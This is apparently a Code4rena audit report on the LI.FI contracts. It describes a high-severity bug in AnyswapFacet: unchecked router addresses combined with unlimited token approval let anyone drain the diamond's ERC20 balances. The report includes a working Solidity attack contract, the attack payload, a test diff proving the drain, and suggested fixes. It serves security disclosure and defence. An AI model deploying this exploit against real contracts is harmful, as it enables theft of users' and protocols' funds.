LI.FI contest - dirk_y's results

Lines of code

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L35-L53 https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L131-L149 https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibAsset.sol#L59-L70

Vulnerability details

Impact

HIGH - An attacker can drain the LiFiDiamond contract of any ERC20 tokens.

An attacker can do this in a single transaction for multiple ERC20 tokens with a very simple payload. This effectively undermines the WithdrawFacet.sol contract that only allows the contract owner to withdraw assets.

Proof of Concept

As a PoC, let's assume the attacker wanted to drain the LiFi diamond of USDT. They can do this with a very simple AnyswapData payload when calling startBridgeTokensViaAnyswap (here):

{
      token: USDT_ADDRESS,
      router: ATTACK_CONTRACT,
      amount: 1,
      recipient: ANY_ADDRESS,
      toChainId: 100, // Any chain but the current chain
}

where the attack contract could look like so:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

import { IAnyswapRouter } from "../Interfaces/IAnyswapRouter.sol";
import { IAnyswapToken } from "../Interfaces/IAnyswapToken.sol";
import { IERC20 } from "../Libraries/LibAsset.sol";

contract AnyswapAttack is IAnyswapRouter, IAnyswapToken {
    address public diamond;
    bool public stopOptimisation;

    constructor(address diamondAddress) {
        diamond = diamondAddress;
    }

    function drainDiamondOf(address token) public {
        uint256 balance = IERC20(token).balanceOf(diamond);
        IERC20(token).transferFrom(diamond, msg.sender, balance);
    }

    function anySwapOutUnderlying(
        address token,
        address to,
        uint256 amount,
        uint256 toChainID
    ) override external {

    }

    function anySwapOut(
        address token,
        address to,
        uint256 amount,
        uint256 toChainID
    ) override external {

    }

    function anySwapOutNative(
        address token,
        address to,
        uint256 toChainID
    ) override external payable {
        
    }

    function wNATIVE() override external pure returns (address) {
        // Return the 1 address so that it doesn't equal anyswap underlyingToken
        return address(1);
    }

    function underlying() override external pure returns (address) {
        // Return the 1 address so that it doesn't equal anyswap underlyingToken
        return address(0);
    }

}

The first part of this vulnerability exists because startBridgeTokensViaAnyswap function never checks the router address. This allows us to pass in our attack contract and pretend to act as a real Anyswap router. This function then calls _startBridge here with our unchecked input data.

Again, there is no validation in _startBridge to check the router address. The second part of the vulnerability exists from the call LibAsset.approveERC20 here. The LibAsset.approveERC20 function also has a vulnerability in that it approves the router address for MAX_UINT rather than the user input amount (which in this case was 1). The line in question is here. With the other calls to the router, we just do nothing in our attack contract.

What has happened now is that the LifiDiamond contract has approved our attack contract to MAX_UINT of USDT. Now all we have to do is call drainDiamondOf in our attack contract to steal all the USDT from LiFi. This same process can be repeated for every ERC20 token the attacker wishes.

Tools Used

Please apply the following diff to the repo to run the PoC (you will also need to add the attack contract as pasted above in the PoC section). Run tests as usual with yarn test

diff --git a/deploy/008_deploy_anyswap_facet.ts b/deploy/008_deploy_anyswap_facet.ts
index 7168c27..25d4d3f 100644
--- a/deploy/008_deploy_anyswap_facet.ts
+++ b/deploy/008_deploy_anyswap_facet.ts
@@ -19,6 +19,13 @@ const func: DeployFunction = async function (hre: HardhatRuntimeEnvironment) {
 
   const diamond = await ethers.getContract('LiFiDiamond')
 
+  await deploy('AnyswapAttack', {
+    from: deployer,
+    args: [diamond.address],
+    log: false,
+    deterministicDeployment: false,
+  })
+
   await addOrReplaceFacets([anyswapFacet], diamond.address)
 }
 
diff --git a/test/facets/AnyswapFacet.test.ts b/test/facets/AnyswapFacet.test.ts
index 2b6b4ac..9473326 100644
--- a/test/facets/AnyswapFacet.test.ts
+++ b/test/facets/AnyswapFacet.test.ts
@@ -1,6 +1,7 @@
 /* eslint-disable @typescript-eslint/no-explicit-any */
 import {
   AnyswapFacet,
+  AnyswapAttack,
   DexManagerFacet,
   IERC20,
   IERC20__factory,
@@ -23,6 +24,7 @@ const BEEFY_ROUTER = '0x6fF0609046A38D76Bd40C5863b4D1a2dCe687f73'
 
 describe('AnyswapFacet', function () {
   let lifi: AnyswapFacet
+  let attack: AnyswapAttack
   let dexMgr: DexManagerFacet
   let alice: SignerWithAddress
   let beefHolder: SignerWithAddress
@@ -43,6 +45,8 @@ describe('AnyswapFacet', function () {
       )
       await dexMgr.addDex(UNISWAP_ADDRESS)
 
+      attack = <AnyswapAttack>(await ethers.getContract("AnyswapAttack"));
+
       await network.provider.request({
         method: 'hardhat_impersonateAccount',
         params: ['0x6722846282868a9c084b423aee79eb8ff69fc497'],
@@ -76,6 +80,7 @@ describe('AnyswapFacet', function () {
       }
       token = IERC20__factory.connect(anyUSDT_ADDRESS, alice)
       await usdt.approve(lifi.address, utils.parseUnits('1000', 6))
+      await usdt.transfer(lifi.address, utils.parseUnits("10", 6)); // Let's put 10 usdt into the contract as a demo
     }
   )
 
@@ -98,6 +103,29 @@ describe('AnyswapFacet', function () {
     await setupTest()
   })
 
+  it('diamond can be drained of any token balance', async () => { 
+    let AnyswapData = {
+      token: token.address,
+      router: attack.address,
+      amount: 1, // Can use 1 wei for approval of MAX_UINT
+      recipient: alice.address,
+      toChainId: 100, // Any chain but the current chain
+    }
+
+    // Check lifi diamond has existing balance of 10 USDT
+    expect(await usdt.connect(alice).balanceOf(lifi.address)).to.equal(utils.parseUnits("10", 6));
+
+    await lifi
+      .connect(alice)
+      .startBridgeTokensViaAnyswap(lifiData, AnyswapData, {
+        gasLimit: 500000
+      });
+
+    await attack.connect(alice).drainDiamondOf(usdt.address);
+    // We've drained the diamond so now it should have zero balance
+    expect(await usdt.connect(alice).balanceOf(lifi.address)).to.equal(0);
+  });
+
   it('starts a bridge transaction using native token on the sending chain', async () => {
     const AnyswapData = {
       token: anyMATIC_ADDRESS,

Recommended Mitigation Steps

1. Fix approveERC20 here:

function approveERC20(
        IERC20 assetId,
        address spender,
        uint256 amount
    ) internal {
        if (isNativeAsset(address(assetId))) return;
        SafeERC20.safeApprove(IERC20(assetId), spender, amount);
      }
}

2. Add a sanity check for router in _startBridge. Could use a similar mechanism of whitelisting router addresses as with the other bridge facet contracts.